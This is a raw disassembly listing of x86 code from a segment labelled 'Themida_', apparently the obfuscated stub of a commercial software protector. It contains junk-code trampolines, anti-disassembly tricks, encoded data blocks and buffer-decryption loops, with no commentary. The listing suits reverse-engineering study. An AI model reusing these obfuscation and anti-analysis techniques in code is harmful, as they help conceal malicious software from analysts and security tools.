		jz	loc_590D00
		pusha
		add	[ebp+61128E5h],	ebx
		jl	$+6
		popa


loc_590D00:				; CODE XREF: Themida_:00590CECj
		movzx	edi, bx
		call	dword ptr [ebp+611075Dh]
		mov	[ebp+6112391h],	esi
		lea	ecx, [ebp+614A420h]
		mov	[ebp+6112B85h],	edx
		call	ecx
		push	0
		push	edi
		call	sub_590D28
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590D28	proc near		; CODE XREF: Themida_:00590D20p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_590D28	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		inc	eax
		mov	al, ds:0B8363580h
		icebp
		mov	dword ptr [ecx], 1108F985h
		push	es
		cmp	dword ptr [ebp+6111B71h], 1
		jnz	loc_590DCF
		push	0
		push	edi
		call	sub_590D5F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590D5F	proc near		; CODE XREF: Themida_:00590D57p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_590D5F	endp

; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------
		jnp	short $+2
		jmp	loc_590D85
; ---------------------------------------------------------------------------
		db 0ABh
		dd 77873FE3h, 0C1997C75h, 2F7387CBh
		db 2Dh
; ---------------------------------------------------------------------------


loc_590D85:				; CODE XREF: Themida_:00590D72j
		sub	[ebp+6110761h],	edx
		push	2
		push	0
		push	eax
		call	sub_590D98
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590D98	proc near		; CODE XREF: Themida_:00590D90p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_590D98	endp

; ---------------------------------------------------------------------------
		sti
		mov	edx, 31B1F5D3h
		mov	ebx, [ebp+6112949h]
		mov	edi, eax
		nop
		mov	bh, 68h
		push	eax
		mov	edi, 3580C1DDh
		nop
		movzx	ebx, dx
		call	dword ptr [ebp+6112B65h]
		and	ebx, [ebp+61126C5h]


loc_590DCF:				; CODE XREF: Themida_:00590D4Ej
		jmp	loc_591C64
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 6157213h
		push	0
		push	edx
		call	sub_590DEB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590DEB	proc near		; CODE XREF: Themida_:00590DE3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_590DEB	endp

; ---------------------------------------------------------------------------
		db 62h
		dd 6C35964Fh, 22F381C0h, 660623F9h, 66DC1EBBh, 3AB2D381h
		dd 8968858Dh, 8B660614h, 0DE890DAh, 9E000000h, 0A3408FCDh
		dd 0F33E03A5h, 0CBB6E9EAh, 6057505Bh, 0A2C030BBh, 905F612Dh
		dd 64DE8B66h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0E8AED3C3h, 5DFD1B6Bh
		dd 98D0941h, 64061112h,	2589h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 686647C3h
		dd 0F3EDA00h, 1683h, 11E900h, 0E0770000h, 0F7EA1979h, 6901C12Fh
		dd 0EACDBBC1h, 399FE63h, 110A2DBDh, 0AD85FF06h,	6A061107h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 1D1BC351h, 0DD9BADA6h, 8C7BA9D0h,	6AFF6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B3A39C3h, 6DB58F68h, 8E8B30Fh, 0E8000000h, 0FDF7C896h
		dd 997DF81h, 11221DBDh,	10E85B06h, 95000000h, 4854FEA4h
		dd 85B8DA02h, 0F07D7EBDh, 0FA67EC4h, 186h, 0FF5BF500h
		dd 1133D5B5h, 8D852906h, 0FF06111Eh, 11150D95h,	123E906h
		dd 0B00000h, 1571BD29h,	95310611h, 6112679h, 0E4F870E6h
		dd 0E6BF6671h, 0F613CC4h, 10483h, 0B60FF800h, 0DF8B50C8h
		dd 6BA5Fh, 95310000h, 6113261h,	8166C18Bh, 196F9F3h, 11031185h
		dd 4E8C106h, 89E2F766h,	112DF585h, 66C82B06h, 3A38F781h
		dd 9D8BD18Bh, 6110B0Dh,	11E9h, 4D9D2900h, 0F06112Ah, 582h
		dd 11F7BB00h, 858B614Ch, 61104A5h, 0CD9D8B51h, 5F06111Bh
		dd 6607C083h, 0C083F88Bh, 0F8B70F00h, 0AE9h, 0E0895300h
		dd 72A7D01Bh, 3B62D283h, 0C830FD0h, 0F9000000h,	7CE9h
		dd 0DDBD8B00h, 8B06110Bh, 110ED98Dh, 0FE906h, 6CA0000h
		dd 805087D2h, 64434405h, 0FE0A7005h, 1E18362h, 53840Fh
		dd 7CBF0000h, 0E91961B2h, 0Fh, 0E7BD443Fh, 0D7FA0F3Eh
		dd 0B1494DCBh, 8355203Dh, 110ED9A5h, 960FE06h, 111D4985h
		dd 12E906h, 0E7FF0000h,	7430A050h, 2A43A2D9h, 0C2D9D453h
		dd 5EA07EB6h, 318D8961h, 89061129h, 1104A595h, 0D8BF0F06h
		dd 0E9h, 0FBB58D00h, 6A0614F4h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0A735C356h,	0E8602181h
		dd 0Bh,	62D0F029h, 5853AEACh, 89364B41h, 112275B5h, 7E85E06h
		dd 0F8000000h, 23619444h, 9D29DBA6h, 6112661h, 6A615Fh
		dd 0F308F381h, 95FF1331h, 61105C5h, 5E9h, 0EC397400h, 0CB81F616h
		dd 126E20E2h, 9E5B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0D781BD68h, 21E10333h
		dd 89FCE183h, 112BF585h, 6AFC06h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 2105F7C3h, 0BF9B9739h
		dd 0B89B5Dh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0E1ACC353h,	6048F295h
		dd 0BAF5F011h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_59116F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59116F	proc near		; CODE XREF: Themida_:00591167p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_59116F	endp

; ---------------------------------------------------------------------------
		db 13h
; ---------------------------------------------------------------------------
		test	al, 0F8h


loc_591182:				; CODE XREF: Themida_:0059118Cj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_591182
		push	0
		push	ebp
		call	sub_591199
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591199	proc near		; CODE XREF: Themida_:00591191p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_591199	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 8329h
		dd 0B3BB5F53h, 8B146D78h, 111EE99Dh, 0B19D3106h, 0BB061100h
		dd 6900385h, 880Fh, 0CE80000h, 63000000h, 0EA206C95h, 51A88CF8h
		dd 89EB8191h, 113045BDh, 880D5B06h, 8B000000h, 11239DBDh
		dd 5D958B06h, 6A061128h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 3C6AC353h, 26D72FBDh
		dd 0D90191D1h, 8E9h, 0C4CD4500h, 0D53FC185h, 0D18D8BC9h
		dd 6A06112Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 80D1C351h, 59D0160h, 6106111Ch
		dd 2DBD9D8Bh, 8B500611h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0D2C35040h, 66382A06h, 0C008E381h, 2C099589h, 0BD830611h
		dd 6112381h, 9D840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 82E5C355h
		dd 0E67E04E3h, 0D5BD8B97h, 8B06110Eh, 0B8F8h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 64E25BC3h, 0EAD0883Ah, 9A3D108h, 110411BDh, 0BD8B5206h
		dd 6110F35h, 3E8D8D5Fh,	6A06114Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F89EC355h
		dd 850FE160h, 0
; ---------------------------------------------------------------------------
		push	ebx
		sub	[ebp+6110035h],	ebx
		pop	edi
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6110611h]
		cmp	dword ptr [ebp+6112709h], 0
		jz	loc_5917DA
		movsx	edi, dx
		cmp	dword ptr [ebp+6112709h], 1
		jz	loc_5917F5
		mov	bx, ax
		cmp	dword ptr [ebp+6112709h], 3
		jbe	loc_5917BF
		push	0
		push	edi
		call	sub_591374
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591374	proc near		; CODE XREF: Themida_:0059136Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_591374	endp

; ---------------------------------------------------------------------------
		dd 453C52BBh, 33F1CD20h, 112B3D9Dh, 0F1B58906h,	60061117h
		dd 12E8h, 0F54F9700h, 1DB01D15h, 0EA313FFDh, 202BC6DFh
		dd 5FFA7933h, 53D8D89h,	8C660611h, 0FE9D9h, 0D09B0000h
		dd 54794527h, 0D097786Dh, 7E19B5A3h, 4E180A1h, 0AD9BF0Fh
		dd 67840FC9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 6AA6C357h, 241A043Fh
		dd 8BB8DB5Ah, 111BF585h, 0B19D8B06h, 33061131h,	11030585h
		dd 9BD3106h, 8B061134h,	1131C59Dh, 0E9609006h, 9, 711A1B32h
		dd 6481A047h, 0EE9D3h, 0C5350000h, 3E0E1B1h, 2E27530Bh
		dd 9642C765h, 0BB665061h, 8A90E0ACh, 6A006AFEh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0F7E7C355h, 8157B222h, 62B9D9CBh, 0B781BF42h, 168454Bh
		dd 0E869ED24h, 0Eh, 0B3858E5Ah,	2884E302h, 0EC796D27h
		dd 52505D56h, 0FF88B66h, 7CBF6631h, 5B585A94h, 0FE243481h
		dd 0BF69F227h, 68A54B21h, 2AC195FFh, 6A0611h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 66E33EC3h
		dd 0A01DF781h, 0BD768589h, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 637AF0C3h
		dd 85336C8Eh, 699D8B46h, 0E9061130h, 23Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E4C35646h, 0C8AB97Bh
		dd 0B3463410h, 8B0F6095h, 6, 2B05BD89h,	8B0F0611h, 5, 0DCE8166h
		dd 858B610Bh, 614BD6Eh,	1800C7h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 2FAE50C3h
		dd 0D73EFF7Eh, 66ED066Fh, 0E034EF81h, 0BD72B58Bh, 0F88B0614h
		dd 6870Fh, 0BD890000h, 6110F05h, 14E9858Bh, 0BF0F0611h
		dd 600689DAh, 10E9h, 20C2EB00h,	0DB1B960h, 0DE9D32Eh, 79FE43D6h
		dd 972FBF1Fh, 8B616ED5h, 111BF585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F01DD51Bh
		dd 0B65FB824h, 4B3C331h, 6A044689h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0DC00C352h
		dd 1B4D5D51h, 13F294Fh,	110FE1BDh, 50515006h, 8E0F52h
		dd 0F000000h, 840F31h, 5A000000h, 34895F58h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0CBF4521h, 897A9B5Ah, 110E518Dh, 6EB5FF06h, 6A0614BDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0ECBCC351h, 9E9ABh, 13610000h, 89EDB43Ch
		dd 68247C8Ah, 57DC77Eh,	6E9h, 36656700h, 8199F068h, 0C4812434h
		dd 0BD030562h, 61112C9h, 0BD76858Dh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 386E48C3h
		dd 89F88B66h, 1103F19Dh, 165CBF06h, 0E8902653h,	0Eh, 5C14FB1Bh
		dd 0BA0F17Bh, 4F6371FEh, 3FB3C461h, 8B66505Bh, 6A90FBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2EA333C3h, 0A62C7B09h, 0B26BF9BBh, 0C195FF40h, 6A06112Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7F88C352h, 1E65FF0Bh, 8B661472h, 0F9B529D8h
		dd 6106110Fh, 9D8B53F8h, 6112769h, 985C75Bh, 3061127h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8B68C355h, 111E11BDh, 0CE906h
		dd 96330000h, 0FBD675F1h, 0D5B40441h, 0BD83ECF0h, 614BD76h
		dd 28840F00h, 8B000000h, 11237D9Dh, 38E906h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0EAh, 57h
; ---------------------------------------------------------------------------


loc_5917BF:				; CODE XREF: Themida_:00591363j
					; Themida_:005917D6j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5917BF
		jmp	short loc_591810
; ---------------------------------------------------------------------------


loc_5917DA:				; CODE XREF: Themida_:00591343j
					; Themida_:005917F1j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5917DA
		jmp	short loc_591810
; ---------------------------------------------------------------------------


loc_5917F5:				; CODE XREF: Themida_:00591353j
					; Themida_:0059180Cj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5917F5
		jmp	short $+2


loc_591810:				; CODE XREF: Themida_:005917D8j
					; Themida_:005917F3j
		mov	eax, eax
		jmp	loc_591829
; ---------------------------------------------------------------------------
		db 99h
		dd 9B169B10h, 782AC62Ch, 982E301Ah, 0D7838DADh
		db 0DAh
; ---------------------------------------------------------------------------


loc_591829:				; CODE XREF: Themida_:00591812j
		push	0
		push	ecx
		call	sub_591834
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591834	proc near		; CODE XREF: Themida_:0059182Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_591834	endp

; ---------------------------------------------------------------------------
		dd 10BEE167h, 81F8BF0Fh, 855448F7h, 11F9BF17h, 0BD833113h
		dd 6112709h, 0CF850F03h, 89000003h, 1109FD9Dh, 76BD8306h
		dd 614BDh, 3BC840Fh, 66600000h,	7897E281h, 1519D09h, 0FF610611h
		dd 14BD76B5h, 95FFFC06h, 6113291h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 4CC35141h, 958957EEh, 6113219h
		dd 6AB58B5Bh, 2B0614BDh, 111E9D9Dh, 106C706h, 6A000100h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0F93EC357h, 79289608h, 0E76BB66h,	0B6B66096h
		dd 5061C0B4h, 96FA8B66h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 33C35646h, 76B5FF34h,	6A0614BDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0FF60C356h, 1100E995h, 8BD88B06h, 14BD6AB5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 8E88A82Dh, 0F59D8B57h, 5F06110Ah, 1425858Bh,	6A0611h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 381B88C3h, 8EBF522Ah, 5F5466AAh, 0C48689h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 3527C0C3h, 0FA94E743h, 5D958BEEh, 6A061128h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 8A5EC355h, 51B5898Bh, 8306110Eh, 858904C2h, 6111E05h
		dd 0FC205089h, 0D062858Dh, 9D8B0614h, 611152Dh,	0B88689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 394770C3h, 9D893F4Dh, 61106C1h, 9D8B006Ah
		dd 6111D51h, 0BD76B5FFh, 0BD8B0614h, 6113149h, 2B6595FFh
		dd 5E90611h, 88000000h,	0E0C55A16h, 1A2EBB50h, 34892B20h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9DB97450h, 2C59B589h, 0B5FF0611h, 614BD76h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ADC35545h
		dd 0CE30A9Fh, 782BD781h, 0C7811074h, 510CDA78h,	0E2995FFh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 83C588C3h, 112761BDh, 840F0006h, 63h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A1C35545h, 8B03B74Dh
		dd 1128419Dh, 14E95006h, 0E0000000h, 33A64BD1h,	0FC20CE27h
		dd 0F04D2C5h, 87B761E0h, 893E5B3Fh, 6A2434h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 65174AC3h
		dd 0FFE1CCE6h, 14BD76B5h, 0F195FF06h, 0F8061112h, 0BD76B5FFh
		dd 0BD310614h, 61131CDh, 6A18D89h, 95FF0611h, 61105B9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 28C35040h
		dd 2E7163D3h, 8C67024Fh, 0AE967B7h, 30000000h, 0C13B34F3h
		dd 66750115h, 3DBD83AEh, 2061101h, 76840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 9B1D6EC3h, 0BBED7EADh, 5712D329h, 5BF88B66h,	0C64BEDBFh
		dd 1858B4Bh, 6A061131h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8016C351h, 0C6FFD3h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0D98B865Ch, 4D585C7h, 611h, 0BB660000h
		dd 0A9E9D402h, 6AFFFFF2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 12F0C355h, 9509000Bh
		dd 6110849h, 9589C18Bh,	61107CDh
; ---------------------------------------------------------------------------


loc_591C64:				; CODE XREF: Themida_:loc_590DCFj
		lea	eax, [ebp+6112795h]
		push	eax
		mov	[esp], eax
		clc
		push	0
		clc
		push	0
		jge	loc_591C7F
		sbb	di, 4E3Dh


loc_591C7F:				; CODE XREF: Themida_:00591C74j
		lea	eax, [ebp+615829Ch]
		push	0
		push	ebp
		call	sub_591C90
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591C90	proc near		; CODE XREF: Themida_:00591C88p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_591C90	endp

; ---------------------------------------------------------------------------
		dd 19556F4h, 85B589F5h,	89061132h, 110529BDh, 5C08306h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 54C35545h
		dd 14810F50h, 0E9000000h, 0Fh, 70A8B3Dh, 56A0866Ah, 8F1E9869h
		dd 896A6F0Bh, 8E0F2404h, 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	ebp
		call	sub_591D01
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591D01	proc near		; CODE XREF: Themida_:00591CF9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_591D01	endp

; ---------------------------------------------------------------------------
		db 60h,	4Ah, 0E6h
; ---------------------------------------------------------------------------
		mov	ebx, 8D23F6A8h
		mov	edi, 44B4FD01h
		push	0
		mov	di, ax
		mov	ebx, 57F736C8h
		call	dword ptr [ebp+611075Dh]
		mov	edi, [ebp+61131E9h]
		mov	[ebp+6112299h],	edi
		lea	ecx, [ebp+614A420h]
		push	0
		push	ecx
		call	sub_591D4B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591D4B	proc near		; CODE XREF: Themida_:00591D43p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_591D4B	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		das
		jge	short loc_591DD6
		retf
; ---------------------------------------------------------------------------
		lodsd
		db	2Eh
		call	ecx
		mov	[ebp+6111DE5h],	ebx
		cmp	dword ptr [ebp+6111B71h], 1
		jnz	loc_591E62
		jmp	loc_591D90
; ---------------------------------------------------------------------------
		dd 60047DEAh, 0B5CF593Dh, 0F160E8ADh, 20A56E9Fh, 26BD7DEDh
; ---------------------------------------------------------------------------


loc_591D90:				; CODE XREF: Themida_:00591D77j
		push	2
		jmp	loc_591DA3
; ---------------------------------------------------------------------------
		db 1
		dd 2CAAEDA7h, 44DB8667h
		db 0C9h, 0EBh, 38h
; ---------------------------------------------------------------------------


loc_591DA3:				; CODE XREF: Themida_:00591D92j
		nop
		call	near ptr loc_591DAF+2
		cwde
		mov	eax, 0D9E7EE73h


loc_591DAF:				; CODE XREF: Themida_:00591DA4p
		arpl	[edi-18h], si
		adc	[eax], eax
; ---------------------------------------------------------------------------
		dd 0B8590000h, 7361843Ah, 0D5C41DC1h, 5E4BA940h, 0E8E40D37h
		dd 0Fh,	0F4AFBE1h, 361B0E56h
; ---------------------------------------------------------------------------
		push	ss
		dec	eax


loc_591DD6:				; CODE XREF: Themida_:00591D5Dj
		and	al, 90h
		scasd
		xor	[edx+5Fh], edi
		pop	ebx
		pop	edi
		push	eax
		pusha
		jns	loc_591DF9
		call	sub_591DF8
		mov	dh, 54h
		inc	eax
		jle	short near ptr loc_591DF9+1
		pushf
		cmp	[ebp+1F97DD20h], dh
		cmpsd

; =============== S U B	R O U T	I N E =======================================



sub_591DF8	proc near		; CODE XREF: Themida_:00591DE6p
		pop	ecx


loc_591DF9:				; CODE XREF: Themida_:00591DE0j
					; Themida_:00591DEEj
		mov	edx, ecx
		popa
		nop
		push	0
		push	eax
		call	sub_591E08
		and	[eax-3Dh], bl
sub_591DF8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_591E08	proc near		; CODE XREF: sub_591DF8+8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_591E08	endp

; ---------------------------------------------------------------------------
		mov	bh, 4Ch
		setalc
		dec	esp
		cmpsd
		push	edi
		or	bx, 9588h
		pop	ebx
		mov	di, 10A8h
		call	dword ptr [ebp+6112B65h]
		push	0
		push	eax
		call	sub_591E39
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591E39	proc near		; CODE XREF: Themida_:00591E31p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_591E39	endp

; ---------------------------------------------------------------------------
		db 3Bh,	42h, 82h
		dd 0FE9C2EAh, 0D8Ah, 85336000h,	6111CE1h, 89B990BEh
; ---------------------------------------------------------------------------
		push	edi
		popa


loc_591E62:				; CODE XREF: Themida_:00591D71j
		jmp	loc_592B54
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 61582A6h
		push	0
		push	edx
		call	sub_591E7E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591E7E	proc near		; CODE XREF: Themida_:00591E76p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_591E7E	endp

; ---------------------------------------------------------------------------
		dw 10CDh
		dd 1BABB1AFh, 0AE9DE8Bh, 0AA000000h, 0DAB04454h, 873DAE4Eh
		dd 45852945h, 8D061126h, 14896885h, 0DBD8B06h, 5006112Eh
		dd 298BBF66h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 84EBC351h, 6232A5F0h
		dd 3229BD8Bh, 0DD8A0611h, 35FF64h, 81000000h, 54772FC7h
		dd 2589642Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_591F07
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591F07	proc near		; CODE XREF: Themida_:00591EFFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_591F07	endp

; ---------------------------------------------------------------------------
		sbb	byte ptr [edx-7A0070D9h], 0ADh
		pop	es
		adc	[esi], eax
		push	0
		push	edx
		call	sub_591F2C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591F2C	proc near		; CODE XREF: Themida_:00591F24p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_591F2C	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0CAAD6F64h
		fbld	tbyte ptr [esi+30h]
		sbb	bh, al
		and	edi, 4BF00634h
		push	0FFFFFFFFh
		push	0
		push	ebp
		call	sub_591F59
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591F59	proc near		; CODE XREF: Themida_:00591F51p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_591F59	endp

; ---------------------------------------------------------------------------
		sar	dword ptr [eax-7174AEBEh], 1
		movsb
		cmp	edi, edi
		mov	ch, 89h
		add	al, 11h
		push	es
		push	0
		push	esi
		call	sub_591F82
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591F82	proc near		; CODE XREF: Themida_:00591F7Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_591F82	endp

; ---------------------------------------------------------------------------
		dw 1FCh
; ---------------------------------------------------------------------------
		sahf
		mov	ebx, 6300FE32h
		call	dword ptr [ebp+611150Dh]
		jmp	loc_5920A8
; ---------------------------------------------------------------------------
		db 66h,	0BFh, 0ADh
		dd 8B00B00Bh, 111BE1BDh, 8B70E606h, 112281BDh, 0D1858906h
		dd 0E406112Bh, 0F613C71h, 0DF83h, 0B19D8900h, 0F061100h
		dd 9D8BC8B6h, 61117EDh,	6BAh, 39BD8900h, 8B061134h, 0C1FE8BC1h
		dd 0BD0B04E8h, 6112139h, 51958B60h, 8B061108h, 111DED85h
		dd 0F7666106h, 998D89E2h, 2B061134h, 0DE9C8h, 6C50000h
		dd 67B48E1Bh, 0B4F9129Eh, 8B0F4B08h, 0E9D1h, 858B0000h
		dd 6110B39h, 4830Fh, 0BB660000h, 0C0831BD1h, 6E907h, 9020000h
		dd 907665A7h, 8B00C083h, 110849BDh, 0FD03B06h, 0E83h, 0FFBF0F00h
		dd 4FE9h, 9D953100h, 8B061103h,	11067D8Dh, 4830F06h, 66000000h
